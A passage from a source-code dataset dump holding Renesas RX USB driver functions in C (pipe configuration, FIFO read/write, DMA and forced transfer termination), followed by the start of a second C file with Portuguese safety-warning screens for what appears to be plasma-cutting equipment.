usb_cstd_StopClock(USB_UTR_t *ptr)\n{\n}/* eof usb_cstd_StopClock() */\n\n#ifdef USB_DTC_ENABLE\n/******************************************************************************\nFunction Name : usb_cstd_D0FifoselSet\nDescription : Set DOFIFO access width, set to DMA buffer clear mode and \n : the endian setting.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_D0FifoselSet(USB_UTR_t *ptr)\n{\n /* Big endian mode set */\n// usb_creg_set_bigend( ptr, USB_D0DMA, 1 ); \n /* DMA buffer clear mode set */\n usb_creg_clr_dclrm( ptr, USB_D0DMA );\n /* Maximum bit width for FIFO access set */\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n if(ptr->ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, USB0_D0FIFO_MBW );\n }\n else if (ptr->ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_D0DMA, USB1_D0FIFO_MBW );\n }\n#else\n usb_creg_set_mbw( ptr, USB_D0DMA, USB0_D0FIFO_MBW );\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n\n}/* eof usb_cstd_D0FifoselSet() */\n#endif /* USB_DTC_ENABLE */\n\n/******************************************************************************\nFunction Name : usb_cstd_GetBufSize\nDescription : Return buffer size, or max packet size, of specified pipe.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t : FIFO buffer size or max packet size.\n******************************************************************************/\nuint16_t usb_cstd_GetBufSize(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t size, buffer;\n\n if(ptr->ip == USB_USBIP_0)\n {\n if( pipe == USB_PIPE0 )\n {\n /* Not continuation transmit */\n buffer = usb_creg_read_dcpmaxp( ptr );\n }\n else\n {\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n buffer = usb_creg_read_pipemaxp( ptr );\n }\n /* Max Packet Size */\n size = (uint16_t)(buffer & USB_MXPS);\n }\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n else\n {\n if( pipe == USB_PIPE0 )\n {\n buffer = usb_creg_read_dcpcfg( ptr );\n if( (buffer & USB_CNTMDFIELD) == USB_CNTMDFIELD )\n {\n /* Continuation transmit */\n /* Buffer Size */\n size = USB_PIPE0BUF;\n }\n else\n {\n /* Not continuation transmit */\n buffer = usb_creg_read_dcpmaxp( ptr );\n /* Max Packet Size */\n size = (uint16_t)(buffer & USB_MAXP);\n }\n }\n else\n {\n /* Pipe select */\n usb_creg_write_pipesel( ptr, pipe );\n \n /* Read CNTMD */\n buffer = usb_creg_read_pipecfg( ptr );\n if( (buffer & USB_CNTMDFIELD) == USB_CNTMDFIELD )\n {\n buffer = usb_creg_read_pipebuf( ptr );\n /* Buffer Size */\n size = (uint16_t)((uint16_t)((buffer >> USB_BUFSIZE_BIT) + 1) * USB_PIPEXBUF);\n }\n else\n {\n buffer = usb_creg_read_pipemaxp( ptr );\n /* Max Packet Size */\n size = (uint16_t)(buffer & USB_MXPS);\n }\n }\n }\n#endif /* defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n return size;\n}/* eof usb_cstd_GetBufSize() */\n\n/******************************************************************************\nFunction Name : usb_cstd_pipe_init\nDescription : Initialization of registers associated with specified pipe.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe Number\n : uint16_t *tbl : ep table\n : uint16_t ofs : ep table offset\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_pipe_init(USB_UTR_t *ptr, uint16_t pipe, uint16_t *tbl, uint16_t ofs)\n{\n\n usb_gcstd_Pipe[ptr->ip][pipe] = (USB_UTR_t*)USB_NULL;\n\n /* Interrupt Disable */\n /* Ready Int Disable */\n usb_creg_clr_brdyenb( ptr, pipe );\n\n /* NotReady Int Disable */\n usb_creg_clr_nrdyenb( ptr, pipe );\n\n /* Empty/SizeErr Int Disable */\n usb_creg_clr_bempenb( ptr, pipe );\n\n /* PID=NAK & clear STALL */\n usb_cstd_ClrStall(ptr, pipe);\n \n /* PIPE Configuration */\n usb_creg_write_pipesel( ptr, pipe );\n\n if( USB_D0DMA == tbl[ofs + 5] )\n {\n tbl[ofs + 1] |= USB_BFREON;\n }\n\n usb_creg_write_pipecfg( ptr, tbl[ofs + 1]);\n\n usb_creg_write_pipebuf( ptr, tbl[ofs + 2] );\n usb_creg_write_pipemaxp( ptr, tbl[ofs + 3] );\n usb_creg_write_pipeperi( ptr, tbl[ofs + 4] );\n\n /* FIFO buffer DATA-PID initialized */\n usb_creg_write_pipesel( ptr, USB_PIPE0 );\n\n /* SQCLR */\n usb_creg_set_sqclr(ptr, pipe);\n /* ACLRM */\n usb_cstd_DoAclrm(ptr, pipe);\n /* CSSTS */\n usb_creg_set_csclr(ptr, pipe);\n \n /* Interrupt status clear */\n /* Ready Int Clear */\n usb_creg_clr_sts_brdy( ptr, pipe );\n\n /* NotReady Int Clear */\n usb_creg_clr_sts_nrdy( ptr, pipe );\n\n /* Empty/SizeErr Int Clear */\n usb_creg_clr_sts_bemp( ptr, pipe );\n}/* eof usb_cstd_pipe_init() */\n\n/******************************************************************************\nFunction Name : usb_cstd_ClrPipeCnfg\nDescription : Clear specified pipe configuration register.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe_no : pipe number\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ClrPipeCnfg(USB_UTR_t *ptr, uint16_t pipe_no)\n{\n#ifdef USB_DTC_ENABLE\n uint16_t buffer;\n#endif /* USB_DTC_ENABLE */\n\n usb_gcstd_Pipe[ptr->ip][pipe_no] = (USB_UTR_t*)USB_NULL;\n\n /* PID=NAK & clear STALL */\n usb_cstd_ClrStall(ptr, pipe_no);\n \n /* Interrupt disable */\n /* Ready Int Disable */\n usb_creg_clr_brdyenb( ptr, pipe_no );\n\n /* NotReady Int Disable */\n usb_creg_clr_nrdyenb( ptr, pipe_no );\n\n /* Empty/SizeErr Int Disable */\n usb_creg_clr_bempenb( ptr, pipe_no );\n\n /* PIPE Configuration */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n#ifdef USB_DTC_ENABLE \n /* Clear D0FIFO-port */\n buffer = usb_creg_read_fifosel( ptr, USB_D0DMA );\n\n if( (buffer & USB_CURPIPE) == pipe_no )\n {\n usb_cpu_d0fifo_stop_dma(ptr);\n\n usb_cstd_D0fifoStopUsb(ptr);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n }\n /* Clear D1FIFO-port */\n buffer = usb_creg_read_fifosel( ptr, USB_D1DMA );\n\n if( (buffer & USB_CURPIPE) == pipe_no )\n {\n if(ptr->ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_D1USE, USB0_D1FIFO_MBW );\n }\n else if (ptr->ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_D1USE, USB1_D1FIFO_MBW );\n }\n\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n }\n#endif /* USB_DTC_ENABLE */\n usb_creg_write_pipesel( ptr, pipe_no );\n usb_creg_write_pipecfg( ptr, 0 );\n\n usb_creg_write_pipebuf( ptr, 0 );\n usb_creg_write_pipemaxp( ptr, 0 );\n usb_creg_write_pipeperi( ptr, 0 );\n usb_creg_write_pipesel( ptr, 0 );\n\n /* FIFO buffer DATA-PID initialized */\n /* SQCLR */\n usb_creg_set_sqclr(ptr, pipe_no);\n /* ACLRM */\n usb_cstd_DoAclrm(ptr, pipe_no);\n /* CSSTS */\n usb_creg_set_csclr(ptr, pipe_no);\n usb_cstd_ClrTransactionCounter(ptr, pipe_no);\n \n /* Interrupt status clear */\n /* Ready Int Clear */\n usb_creg_clr_sts_brdy( ptr, pipe_no );\n\n /* NotReady Int Clear */\n usb_creg_clr_sts_nrdy( ptr, pipe_no );\n\n /* Empty/SizeErr Int Clear */\n usb_creg_clr_sts_bemp( ptr, pipe_no );\n}/* eof usb_cstd_ClrPipeCnfg() */\n\n/******************************************************************************\nFunction Name : usb_cstd_WaitUsbip\nDescription : Wait USB ASSP ready\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_WaitUsbip(USB_UTR_t *ptr)\n{\n /* XCKE Mode Flag */\n usb_gcstd_XckeMode = USB_NO;\n\n if(ptr->ip == USB_USBIP_0)\n {\n /* Hi-speed enable */\n usb_gcstd_HsEnable[ptr->ip] = USB_HS_DISABLE;\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n /* Hi-speed enable */\n#if( USB_SPEED_MODE_PP == USB_HS_PP )\n usb_gcstd_HsEnable[ptr->ip] = USB_HS_ENABLE;\n#else /* USB_SPEED_MODE_PP == USB_HS_PP */\n usb_gcstd_HsEnable[ptr->ip] = USB_HS_DISABLE;\n#endif /* USB_SPEED_MODE_PP == USB_HS_PP */\n }\n}/* eof usb_cstd_WaitUsbip() */\n\n/******************************************************************************\nFunction Name : usb_cstd_SetNak\nDescription : Set up to NAK the specified pipe.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe Number\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SetNak(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buf, n;\n\n /* Set NAK */\n usb_creg_clr_pid( ptr, pipe, (uint16_t)USB_PID_BUF );\n\n /* The state of PBUSY continues while transmitting the packet when it is a detach. */\n /* 1ms comes off when leaving because the packet duration might not exceed 1ms. */\n /* Whether it is PBUSY release or 1ms passage can be judged. */\n for( n = 0; n < 0xFFFFu; ++n )\n {\n /* PIPE control reg read */\n buf = usb_creg_read_pipectr( ptr, pipe );\n if( (uint16_t)(buf & USB_PBUSY) == 0 )\n {\n n = 0xFFFEu;\n }\n }\n}/* eof usb_cstd_SetNak() */\n\n/******************************************************************************\nFunction Name : usb_cstd_write_fifo\nDescription : Write specified amount of data to specified USB FIFO. \nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t count : Write size.\n : uint16_t pipemode : The mode of CPU/DMA(D0)/DMA(D1).\n : uint16_t *write_p : Address of buffer of data to write.\nReturn value : The incremented address of last argument (write_p).\n******************************************************************************/\nuint8_t *usb_cstd_write_fifo( USB_UTR_t *ptr, uint16_t count, uint16_t pipemode, uint8_t *write_p )\n{\n uint16_t even;\n uint16_t odd;\n\n if(ptr->ip == USB_USBIP_0)\n {\n for( even = (uint16_t)(count >> 1); (even != 0); --even )\n {\n /* 16bit access */\n usb_creg_write_fifo16( ptr, pipemode, *((uint16_t *)write_p) );\n\n /* Renewal write pointer */\n write_p += sizeof(uint16_t);\n }\n\n if( (count & (uint16_t)0x0001u) != 0u )\n {\n /* 8bit access */\n /* count == odd */\n /* Change FIFO access width */\n usb_creg_set_mbw( ptr, pipemode, USB_MBW_8 );\n\n /* FIFO write */\n usb_creg_write_fifo8( ptr, pipemode, *write_p );\n\n /* Return FIFO access width */\n usb_creg_set_mbw( ptr, pipemode, USB_MBW_16 );\n\n /* Renewal write pointer */\n write_p++;\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n for( even = (uint16_t)(count >> 2); (even != 0); --even )\n {\n /* 16bit access */\n usb_creg_write_fifo32( ptr, pipemode, *((uint32_t *)write_p) );\n\n /* Renewal write pointer */\n write_p += sizeof(uint32_t);\n }\n odd = count % 4;\n if( (odd & (uint16_t)0x0002u) != 0u )\n {\n /* 16bit access */\n /* Change FIFO access width */\n usb_creg_set_mbw( ptr, pipemode, USB_MBW_16 );\n /* FIFO write */\n usb_creg_write_fifo16( ptr, pipemode, *((uint16_t *)write_p) );\n\n /* Renewal write pointer */\n write_p += sizeof(uint16_t);\n }\n if( (odd & (uint16_t)0x0001u) != 0u )\n {\n /* 8bit access */\n /* count == odd */\n /* Change FIFO access width */\n usb_creg_set_mbw( ptr, pipemode, USB_MBW_8 );\n\n /* FIFO write */\n usb_creg_write_fifo8( ptr, pipemode, *write_p );\n\n /* Renewal write pointer */\n write_p++;\n }\n /* Return FIFO access width */\n usb_creg_set_mbw( ptr, pipemode, USB_MBW_32 );\n }\n return write_p;\n\n}/* eof usb_cstd_write_fifo() */\n\n/******************************************************************************\nFunction Name : usb_cstd_read_fifo\nDescription : Read specified buffer size from the USB FIFO.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t count : Read size.\n : uint16_t pipemode : The mode of CPU/DMA(D0)/DMA(D1).\n : uint16_t *write_p : Address of buffer to store the read data.\nReturn value : Pointer to a buffer that contains the data to be read next.\n******************************************************************************/\nuint8_t *usb_cstd_read_fifo( USB_UTR_t *ptr, uint16_t count, uint16_t pipemode, uint8_t *read_p )\n{\n uint16_t even;\n uint16_t odd;\n uint32_t odd_byte_data_temp;\n#if USB_CPUBYTE_PP != USB_BYTE_LITTLE_PP\n uint16_t i;\n#endif\n if(ptr->ip == USB_USBIP_0)\n {\n for( even = (uint16_t)(count >> 1); (even != 0); --even )\n {\n /* 16bit FIFO access */\n *(uint16_t *)read_p= usb_creg_read_fifo16( ptr, pipemode );\n\n /* Renewal read pointer */\n read_p += sizeof( uint16_t );\n }\n if( (count & (uint16_t)0x0001) != 0 )\n {\n /* 16bit FIFO access */\n odd_byte_data_temp = usb_creg_read_fifo16( ptr, pipemode );\n/* Condition compilation by the difference of the endian */\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n *read_p = (uint8_t)( odd_byte_data_temp & 0x00ff);\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n *read_p = (uint8_t)( odd_byte_data_temp >> 8 );\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n /* Renewal read pointer */\n read_p += sizeof( uint8_t );\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n for( even = (uint16_t)(count >> 2); (even != 0); --even )\n {\n /* 32bit FIFO access */\n *(uint32_t *)read_p= usb_creg_read_fifo32( ptr, pipemode );\n\n /* Renewal read pointer */\n read_p += sizeof( uint32_t );\n }\n odd = count % 4;\n if(count < 4)\n {\n odd = count;\n }\n if( odd != 0 )\n {\n /* 32bit FIFO access */\n odd_byte_data_temp = usb_creg_read_fifo32( ptr, pipemode );\n/* Condition compilation by the difference of the endian */\n#if USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP\n do{\n *read_p = (uint8_t)( odd_byte_data_temp & 0x000000ff );\n odd_byte_data_temp = odd_byte_data_temp >> 8;\n /* Renewal read pointer */\n read_p += sizeof( uint8_t );\n odd--;\n }while( odd != 0 );\n#else /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n for(i = 0; i < odd; i++)\n {\n *read_p = (uint8_t)( ( odd_byte_data_temp >> (24 -(i*8))) & 0x000000ff );\n /* Renewal read pointer */\n read_p += sizeof( uint8_t );\n }\n#endif /* USB_CPUBYTE_PP == USB_BYTE_LITTLE_PP */\n }\n }\n return read_p;\n}/* eof usb_cstd_read_fifo() */\n\n/******************************************************************************\nFunction Name : usb_cstd_is_set_frdy\nDescription : Changes the specified FIFO port by the specified pipe.\n : Please change the wait time for your MCU.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe Number\n : uint16_t fifosel : FIFO select\n : uint16_t isel : ISEL bit status\nReturn value : FRDY status\n******************************************************************************/\nuint16_t usb_cstd_is_set_frdy(USB_UTR_t *ptr, uint16_t pipe, uint16_t fifosel, uint16_t isel)\n{\n uint16_t buffer, i;\n\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, fifosel, isel);\n\n for( i = 0; i < 4; i++ )\n {\n buffer = usb_creg_read_fifoctr( ptr, fifosel );\n\n if( (uint16_t)(buffer & USB_FRDY) == USB_FRDY )\n {\n return (buffer);\n }\n USB_PRINTF1(\"*** FRDY wait pipe = %d\\n\", pipe);\n \n /* Caution!!!\n * Depending on the external bus speed of CPU, you may need to wait\n * for 100ns here.\n * For details, please look at the data sheet. */\n /***** The example of reference. *****/\n buffer = usb_creg_read_syscfg( ptr, USB_PORT0 );\n buffer = usb_creg_read_syssts( ptr, USB_PORT0 );\n /*************************************/\n }\n return (USB_FIFOERROR);\n}/* eof of function usb_cstd_is_set_frdy() */\n\n/******************************************************************************\nFunction Name : usb_cstd_chg_curpipe\nDescription : Switch FIFO and pipe number.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe number.\n : uint16_t fifosel : FIFO selected (CPU, D0, D1..)\n : uint16_t isel : CFIFO Port Access Direction.(Pipe1 to 9:Set to 0)\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_chg_curpipe(USB_UTR_t *ptr, uint16_t pipe, uint16_t fifosel, uint16_t isel)\n{\n uint16_t buffer;\n\n /* Select FIFO */\n switch( fifosel )\n {\n /* CFIFO use */\n case USB_CUSE:\n /* ISEL=1, CURPIPE=0 */\n usb_creg_rmw_fifosel( ptr, USB_CUSE, (USB_RCNT|isel|pipe), (USB_RCNT|USB_ISEL|USB_CURPIPE) );\n do\n {\n buffer = usb_creg_read_fifosel( ptr, USB_CUSE );\n }\n while( (buffer & (uint16_t)(USB_ISEL|USB_CURPIPE))\n != (uint16_t)(isel|pipe) );\n break;\n /* D0FIFO use */\n case USB_D0USE:\n /* continue */\n#ifdef USB_DTC_ENABLE\n /* D0FIFO DMA */\n case USB_D0DMA:\n /* D0FIFO pipe select */\n usb_creg_set_curpipe( ptr, USB_D0DMA, pipe );\n do\n {\n buffer = usb_creg_read_fifosel( ptr, USB_D0DMA );\n }\n while( (uint16_t)(buffer & USB_CURPIPE) != pipe );\n#endif /* USB_DTC_ENABLE */\n break;\n /* D1FIFO use */\n case USB_D1USE:\n /* continue */\n#ifdef USB_DTC_ENABLE\n /* D1FIFO DMA */\n case USB_D1DMA:\n /* D1FIFO pipe select */\n usb_creg_set_curpipe( ptr, USB_D1DMA, pipe );\n\n do\n {\n buffer = usb_creg_read_fifosel( ptr, USB_D1DMA );\n }\n while( (uint16_t)(buffer & USB_CURPIPE) != pipe );\n#endif /* USB_DTC_ENABLE */\n break;\n default:\n break;\n }\n}/* eof usb_cstd_chg_curpipe() */\n\n/******************************************************************************\nFunction Name : usb_cstd_FifoClr\nDescription : Clear the specified PIPE FIFO using Auto Buffer Clear Mode.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe Number\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_FifoClr(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buf, i;\n\n if( pipe == USB_USEPIPE )\n {\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n \n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n for( i = USB_MIN_PIPE_NO; i <= USB_MAX_PIPE_NO; i++ )\n {\n /* Do pipe ACLRM */\n usb_cstd_DoAclrm(ptr, i);\n }\n }\n else\n {\n buf = usb_creg_read_fifosel( ptr, USB_D0USE );\n if( (buf & USB_CURPIPE) == pipe )\n {\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n }\n buf = usb_creg_read_fifosel( ptr, USB_D1USE );\n if( (buf & USB_CURPIPE) == pipe )\n {\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n }\n /* Do pipe ACLRM */\n usb_cstd_DoAclrm(ptr, pipe);\n }\n}/* eof usb_cstd_FifoClr() */\n\n/******************************************************************************\nFunction Name : usb_cstd_SetTransactionCounter\nDescription : Set specified Pipe Transaction Counter Register.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t trnreg : Pipe number\n : uint16_t trncnt : Transaction counter\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SetTransactionCounter(USB_UTR_t *ptr, uint16_t trnreg, uint16_t trncnt)\n{\n\n usb_creg_set_trclr( ptr, trnreg );\n usb_creg_write_pipetrn( ptr, trnreg, trncnt );\n usb_creg_set_trenb( ptr, trnreg );\n\n}/* eof usb_cstd_SetTransactionCounter() */\n\n/******************************************************************************\nFunction Name : usb_cstd_ClrTransactionCounter\nDescription : Clear specified Pipe Transaction Counter Register.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t trnreg : Pipe Number\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ClrTransactionCounter(USB_UTR_t *ptr, uint16_t trnreg)\n{\n usb_creg_clr_trenb( ptr, trnreg );\n usb_creg_set_trclr( ptr, trnreg );\n}/* eof usb_cstd_ClrTransactionCounter() */\n\n/******************************************************************************\nFunction Name : usb_cstd_ForcedTermination\nDescription : Terminate data transmission and reception.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe Number\n : uint16_t status : Transfer status type\nReturn value : none\nNote : In the case of timeout status, it does not call back.\n******************************************************************************/\nvoid usb_cstd_ForcedTermination(USB_UTR_t *ptr, uint16_t pipe, uint16_t status)\n{\n uint16_t buffer;\n\n /* PID = NAK */\n /* Set NAK */\n usb_cstd_SetNak(ptr, pipe);\n\n /* Disable Interrupt */\n /* Disable Ready Interrupt */\n usb_creg_clr_brdyenb(ptr, pipe);\n /* Disable Not Ready Interrupt */\n usb_creg_clr_nrdyenb(ptr, pipe);\n /* Disable Empty Interrupt */\n usb_creg_clr_bempenb(ptr, pipe);\n\n usb_cstd_ClrTransactionCounter(ptr, pipe);\n\n /* Clear D1FIFO-port */\n buffer = usb_creg_read_fifosel( ptr, USB_CUSE );\n if( (buffer & USB_CURPIPE) == pipe )\n {\n if(ptr->ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB0_CFIFO_MBW );\n }\n else if (ptr->ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_CUSE, USB1_CFIFO_MBW );\n }\n\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n }\n#ifdef USB_DTC_ENABLE\n /* Clear D0FIFO-port */\n buffer = usb_creg_read_fifosel( ptr, USB_D0DMA );\n if( (buffer & USB_CURPIPE) == pipe )\n {\n /* Stop DMA,FIFO access */\n usb_cpu_d0fifo_stop_dma(ptr);\n\n usb_cstd_D0fifoStopUsb(ptr);\n usb_cstd_D0FifoselSet(ptr);\n if(ptr->ip == USB_USBIP_0)\n {\n usb_creg_write_dmacfg( ptr, USB_D0DMA, USB_CPU_ADR_RD_WR );\n }\n else if (ptr->ip == USB_USBIP_1)\n {\n// usb_creg_set_mbw( ptr, USB_D1USE, USB1_D1FIFO_MBW );\n }\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n }\n /* Clear D1FIFO-port */\n buffer = usb_creg_read_fifosel( ptr, USB_D1DMA );\n if( (buffer & USB_CURPIPE) == pipe )\n {\n if(ptr->ip == USB_USBIP_0)\n {\n usb_creg_set_mbw( ptr, USB_D1USE, USB0_D1FIFO_MBW );\n }\n else if (ptr->ip == USB_USBIP_1)\n {\n usb_creg_set_mbw( ptr, USB_D1USE, USB1_D1FIFO_MBW );\n }\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n }\n#endif /* USB_DTC_ENABLE */\n\n /* Changes the FIFO port by the pipe. */\n usb_cstd_chg_curpipe(ptr, pipe, (uint16_t)USB_CUSE, USB_NO);\n buffer = usb_creg_read_fifoctr( ptr, USB_CUSE );\n if( (uint16_t)(buffer & USB_FRDY) == USB_FRDY )\n {\n /* Clear BVAL */\n usb_creg_set_bclr( ptr, USB_CUSE );\n }\n\n /* FIFO buffer SPLIT transaction initialized */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n usb_creg_set_csclr(ptr, pipe);\n\n /* Call Back */\n if( usb_gcstd_Pipe[ptr->ip][pipe] != USB_NULL )\n {\n /* Transfer information set */\n usb_gcstd_Pipe[ptr->ip][pipe]->tranlen = usb_gcstd_DataCnt[ptr->ip][pipe];\n usb_gcstd_Pipe[ptr->ip][pipe]->status = status;\n usb_gcstd_Pipe[ptr->ip][pipe]->pipectr = usb_creg_read_pipectr(ptr, pipe);\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = (uint8_t)usb_ghstd_IgnoreCnt[ptr->ip][pipe];\n#else /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n usb_gcstd_Pipe[ptr->ip][pipe]->errcnt = 0;\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n usb_gcstd_Pipe[ptr->ip][pipe]->ipp = ptr->ipp;\n usb_gcstd_Pipe[ptr->ip][pipe]->ip = ptr->ip;\n\n if( USB_NULL != ( usb_gcstd_Pipe[ptr->ip][pipe]->complete ) )\n {\n (usb_gcstd_Pipe[ptr->ip][pipe]->complete)(usb_gcstd_Pipe[ptr->ip][pipe], 0, 0);\n }\n usb_gcstd_Pipe[ptr->ip][pipe] = (USB_UTR_t*)USB_NULL;\n }\n}/* eof usb_cstd_ForcedTermination() */\n\n/******************************************************************************\nFunction Name : usb_cstd_nrdy_endprocess\nDescription : NRDY interrupt processing. (Forced termination of data trans-\n : mission and reception of specified pipe.)\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe : Pipe No\nReturn value : none\nNote : none\n******************************************************************************/\nvoid usb_cstd_nrdy_endprocess( USB_UTR_t *ptr, uint16_t pipe )\n{\n if( usb_cstd_is_host_mode(ptr) == USB_YES )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n uint16_t buffer;\n\n /*\n Host Function\n */\n buffer = usb_cstd_GetPid(ptr, pipe);\n /* STALL ? */\n if( (buffer & USB_PID_STALL) == USB_PID_STALL )\n {\n USB_PRINTF1(\"### STALL Pipe %d\\n\", pipe);\n /* @4 */\n /* End of data transfer */\n usb_cstd_ForcedTermination(ptr, pipe, USB_DATA_STALL);\n }\n else\n {\n /* Wait for About 60ns */\n buffer = usb_creg_read_syssts( ptr, USB_PORT0 );\n /* @3 */\n usb_ghstd_IgnoreCnt[ptr->ip][pipe]++;\n USB_PRINTF2(\"### IGNORE Pipe %d is %d times \\n\", pipe, usb_ghstd_IgnoreCnt[ptr->ip][pipe]);\n if( usb_ghstd_IgnoreCnt[ptr->ip][pipe] == USB_PIPEERROR )\n {\n /* Data Device Ignore X 3 call back */\n /* End of data transfer */\n usb_cstd_ForcedTermination(ptr, pipe, USB_DATA_ERR);\n }\n else\n {\n /* 5ms wait */\n usb_cpu_DelayXms(5);\n /* PIPEx Data Retry */\n usb_cstd_SetBuf(ptr, pipe);\n }\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n}/* eof usb_cstd_nrdy_endprocess() */\n\n/******************************************************************************\nEnd of file\n******************************************************************************/\n\n" }, { "alpha_fraction": 0.5250939130783081, "alphanum_fraction": 0.5448958873748779, "avg_line_length": 23.613445281982422, "blob_id": "44c19fde905a9892583387bd2cd53630549d6c4e", "content_id": "676f87f76f1f66c332e2bf5aab195d9202c2feec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2937, "license_type": "no_license", "max_line_length": 110, "num_lines": 119, "path": "/src/states/ut_state_warning.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * ut_state_warning.c\n *\n * Created on: Nov 1, 2015\n * Author: Fernando\n */\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"ut_state_config_var.h\"\n#include \"state_functions.h\"\n\n#include \"lcd_menu.h\"\n#include \"lcd.h\"\n\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"keyboard.h\"\n#include \"plasma.h\"\n\n#define WARNING_PAGES\t5\n#define PAGE_DELAY\t\t1000\n\nstatic uint32_t zero_ask = 0;\n\n/**\n * Warning messages!\n */\nstatic const char* gszWarningMsg[MAX_ROW * WARNING_PAGES] =\n{\n\t\t/* \"12345678901234567890\" */\n\t\t \" AVISO! \",\n\t\t \" \",\n\t\t \" SOMENTE PESSOAL \",\n\t\t \" TREINADO PODE \",\n\t\t \" UTILIZAR ESTE \",\n\t\t \" EQUIPAMENTO. \",\n\t\t /* Page 2 */\n\t\t \" AVISO! \",\n\t\t \" \",\n\t\t \" LEIA E ENTENDA O \",\n\t\t \"MANUAL DE INSTRUÇÕES\",\n\t\t \" ANTES DE OPERAR. \",\n\t\t \" \",\n\t\t /* Page 3 */\n\t\t \" AVISO! 